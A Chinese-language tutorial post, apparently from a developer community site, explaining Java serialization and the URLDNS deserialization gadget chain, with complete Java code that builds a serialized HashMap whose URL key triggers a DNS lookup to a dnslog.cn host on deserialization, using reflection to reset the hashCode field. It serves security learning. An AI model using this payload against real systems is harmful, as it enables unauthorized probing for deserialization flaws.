简单的UrlDns链分析
  8s1LUHPryisj 14天前 23 0

URLDNS链学习
首先我们先理解一下序列化与反序列化,我先贴出三段代码,大家可以尝试先体验一下。

首先我们先构造一个Person类,其实跟这条链没什么关系,主要涉及序列化

点击查看代码
// 引入 Java 的 Serializable 接口,这是必需的,以便该类的对象可以被序列化和反序列化。
import java.io.Serializable;
// 定义一个公开的类 Person,实现了 Serializable 接口。
// 实现 Serializable 接口是告诉 Java 这个类的对象可以被序列化(转换为一系列字节)和反序列化(从字节序列恢复为对象)。
public class Person implements Serializable {
    // 定义私有变量 name,类型为 String。私有的意思是这个变量只能在本类内部被访问。
    private String name;
    // 定义私有变量 age,类型为 int。
    private int age;

    // 定义无参数的构造函数。如果没有其他构造函数,Java会自动提供这样一个无参数的构造函数。
    // 这里显式定义是为了清楚表明这个类有一个无参数的构造选项。
    public Person() {
    }


    // 定义一个带有两个参数的构造函数,接收一个字符串 name 和一个整数 age。
    // 这个构造函数用来创建一个具有特定名字和年龄的 Person 对象。
    public Person(String name, int age) {
        this.name = name; // 将传入的参数 name 赋值给成员变量 name。
        this.age = age;   // 将传入的参数 age 赋值给成员变量 age。
    }

    // 覆盖了 Object 类的 toString 方法。
    // toString 方法用于返回对象的字符串表示形式,通常用于调试和日志记录。
    @Override
    public String toString() {
        return "Person{" +
                "name = " + name + '\'' +  // 将成员变量 name 加入到返回的字符串中。
                ", age = " + age +         // 将成员变量 age 加入到返回的字符串中。
                '}';
    }
}

序列化类

序列化: 在 Java 中,序列化是通过 ObjectOutputStream 类实现的。当调用 writeObject() 方法时,它会检查传入的对象是否实现了 Serializable 接口。如果实现了,Java 序列化机制就会自动处理该对象及其所有的子对象的序列化过程,并将其转换成一个连续的字节流,然后将这些字节写入到指定的输出流(在本例中是文件 "ser.bin")。

点击查看代码
// 引入必要的 Java 标准库,以便进行文件操作、网络通信等。
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

// 定义一个名为 SerializationTest 的公开类,用于测试序列化。
public class SerializationTest {
    // 定义一个静态方法 serialize,用于序列化任意对象。
    // 方法接收一个 Object 类型的参数 obj,表示要被序列化的对象。
    public static void serialize(Object obj) throws IOException {
        // 创建一个 ObjectOutputStream 对象 oos,它被连接到一个名为 "ser.bin" 的文件的 FileOutputStream。
        // ObjectOutputStream 用于将对象的序列化表示写入到输出流中。
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        // 使用 ObjectOutputStream 的 writeObject 方法将 obj 对象写入到前面创建的文件中。
        // 这是实际执行序列化操作的地方,对象状态被转化为字节序列并保存。
        oos.writeObject(obj);
    }

    // 定义 main 方法,它是程序的入口点。
    public static void main(String[] args) throws Exception {
        // 创建一个 Person 对象,名字为 "aa",年龄为 22。
        Person person = new Person("aa", 22);

        // 调用前面定义的 serialize 方法,传入 person 对象进行序列化。
        // 该调用会将 person 对象的状态保存到名为 "ser.bin" 的文件中。
        serialize(person);
    }
}

反序列化类

反序列化: 在 Java 中,反序列化是通过 ObjectInputStream 类实现的。当调用 readObject() 方法时,Java 反序列化机制从输入流中读取之前序列化的字节流,将其转换回原来的对象,并确保所有对象的类型信息和数据都被正确恢复。

点击查看代码
// 引入必要的 Java 输入输出库,这些库提供了文件操作和对象输入输出流的功能。
import java.io.*;
import java.io.IOException;
import java.io.ObjectInputStream;

// 定义一个名为 UnserializeTest 的公开类,用于测试反序列化。
public class UnserializeTest {
    // 定义一个静态方法 unserialize,用于从文件中反序列化对象。
    // 方法接收一个字符串参数 Filename,表示包含序列化对象数据的文件名。
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        // 创建一个 ObjectInputStream 对象 ois,它被连接到一个名为 Filename 的文件的 FileInputStream。
        // ObjectInputStream 用于从输入流中读取对象的序列化表示。
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        // 使用 ObjectInputStream 的 readObject 方法读取并返回反序列化的对象。
        // 这是实际执行反序列化操作的地方,字节序列被转化回 Java 对象。
        Object obj = ois.readObject();
        return obj;
    }

    // 定义 main 方法,它是程序的入口点。
    public static void main(String[] args) throws Exception {
        // 调用 unserialize 方法,从文件 "ser.bin" 中反序列化对象。
        // 将返回的 Object 强制类型转换为 Person 类型。
        Person person = (Person) unserialize("ser.bin");
        // 打印反序列化得到的 Person 对象。
        // 调用 Person 类的 toString 方法,显示对象的详细信息。
        System.out.println(person);
    }
}


下面我们来讲一下DNS链

点击查看代码
HashMap.readObject()
        HashMap.putVal()
          HashMap.hash()
	          URL.hashCode()

代码主要是先找到URL类里面的hashCode()方法

点击查看代码
// 定义一个公共的同步方法 hashCode,返回一个整型值。
// 'synchronized' 关键字确保在同一时刻只有一个线程可以执行这个方法,防止多线程环境下的数据竞争。
public synchronized int hashCode() {
    // 如果实例变量 hashCode 的值不是 -1,说明之前已经计算过哈希码,并缓存了结果。
    // 这是一种提高效率的做法,避免重复计算哈希值。
    if (hashCode != -1)
        return hashCode; // 直接返回已经计算好的哈希码。

    // 如果 hashCode 是 -1,说明还没有计算过哈希码,需要计算。
    // 调用 handler 的 hashCode 方法来计算当前对象的哈希码。
    // 这里的 handler 是一个假定存在的字段或者变量,可能是这个类的一个属性,负责具体的哈希计算逻辑。
    hashCode = handler.hashCode(this);
    
    // 返回新计算的哈希码。
    return hashCode;
}

然后我们跟进这里的hashCode

走到URLStreamHandler这个类中,看到hashCode这个方法,发现getHostAddress这个方法,实际上意思就是根据域名来获取地址

获取主机的 IP 地址。如果主机字段为空或 DNS 解析失败,将返回 null。

这个链其实就是两部分的内容,首先是,HashMap方法里面调用了hashCode()方法, 通过这个hashCode()方法,就可以走到URL这里的hashCode()方法。

这个时候我们就可以写一下代码,尝试执行以下请求DNSlog

点击查看代码
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class SerializationTest {
    // 序列化方法
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        Person person = new Person("aa", 22);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        hashmap.put(new URL(""),1);
        serialize(person);
    }
}

我们跟进这个URL类,看一卡它的构造函数是怎么写的,然后我们就知道放什么了

这里的意思是放一个链接进行就行,所以上面代码中URL传参,就可以放一个DNSLOG进去

现在我们尝试去进行序列化,然后在反序列化的时候,使其发送请求,看是否可以

进行序列化,发现已经请求了DNSlog

为什么在没有进行反序列化的时候,就可以发送请求,我们跟进put方法看一下

点击查看代码
/**
 * 将指定的键和值添加到这个map中。
 * 
 * @param key   要与指定值关联的键。
 * @param value 与指定键关联的值。
 * @return 如果该键之前已经有对应的值,则返回旧值;否则返回null。
 */
public V put(K key, V value) {
    // 调用putVal方法实现键值对的添加。hash(key)计算键的哈希值。
    // 参数说明:
    // - hash(key): 根据键计算出的哈希值,用于确定键值对在map中的存储位置。
    // - key: 要添加到map中的键。
    // - value: 要与键关联的值。
    // - false: 表示不是用来替代整个map的。
    // - true: 表明结构(buckets)可能需要改变(如rehashing、扩容等)。
    return putVal(hash(key), key, value, false, true);
}

意思就是为了确保键值对的唯一,在HashMap这个类中,已经调用了hash方法,转而调用了hashCode方法,然后就在未序列化之前发送了请求。

为什么呢,因为在URL类的hashCode()方法中,有一个判断就是,意思前面也讲过,就是如果hashCode不等于-1,就直接返回,不会执行下面的代码

点击查看代码
if (hashCode != -1)
            return hashCode;

hashCode只有在初始化的时候才是-1

但是我们在代码中去调用put方法的时候,就已经改变了值,所以hashCode在序列化的时候就已经不是-1了,所以在进行反序列化,就不会执行。

所以我们就要尝试进行

我们在第一次序列化的时候,不想让URL发起请求,如果当这个hash Code当时已经不是-1了,这样我们就不会在put的时候发起请求了

所以我们需要在反序列化之前,把hashCode改回来

直接看代码,通过反射

点击查看代码
 public static void main(String[] args) throws Exception {
        //Person person = new Person("aa", 22);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        //这里不要发起请求,把url对象改成不是-1
        URL url = new URL("http://rdpr0d.dnslog.cn\n");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1234);
        hashmap.put(url,1);
        //这里把hashCode()改回-1,改回hashCode的值为-1
        //通过反射,改变已有对象的属性
        serialize(hashmap);
    }
}

无DNslog回显,证明已经修改了hashCode的值不等于-1.

然后我们将代码下面新增一行,将hashCode改为-1

在进行反序列化,可以看到dnslog已经成功记录到了

点击查看代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class SerializationTest {
    // 序列化方法
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        //Person person = new Person("aa", 22);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        //这里不要发起请求,把url对象改成不是-1
        URL url = new URL("http://5cv1ga.dnslog.cn\n");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1234);
        hashmap.put(url,1);
        //这里把hashCode()改回-1,改回hashCode的值为-1
        //通过反射,改变已有对象的属性
        hashcodefield.set(url,-1);
        serialize(hashmap);
    }
}

在反序列化Debug后,在URL.hashCode处下个断点,可以发现已经成功改成-1了

证明赋值已经成功了,成功发起了DNS请求

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 14天前 0

暂无评论

推荐阅读
  ijEHlwWobBkw   5小时前   6   0   0 Java
  DKE3T9FhmJBk   5小时前   5   0   0 Java
  T3It887JLZgD   2天前   7   0   0 Java
  2xk0JyO908yA   5小时前   6   0   0 Java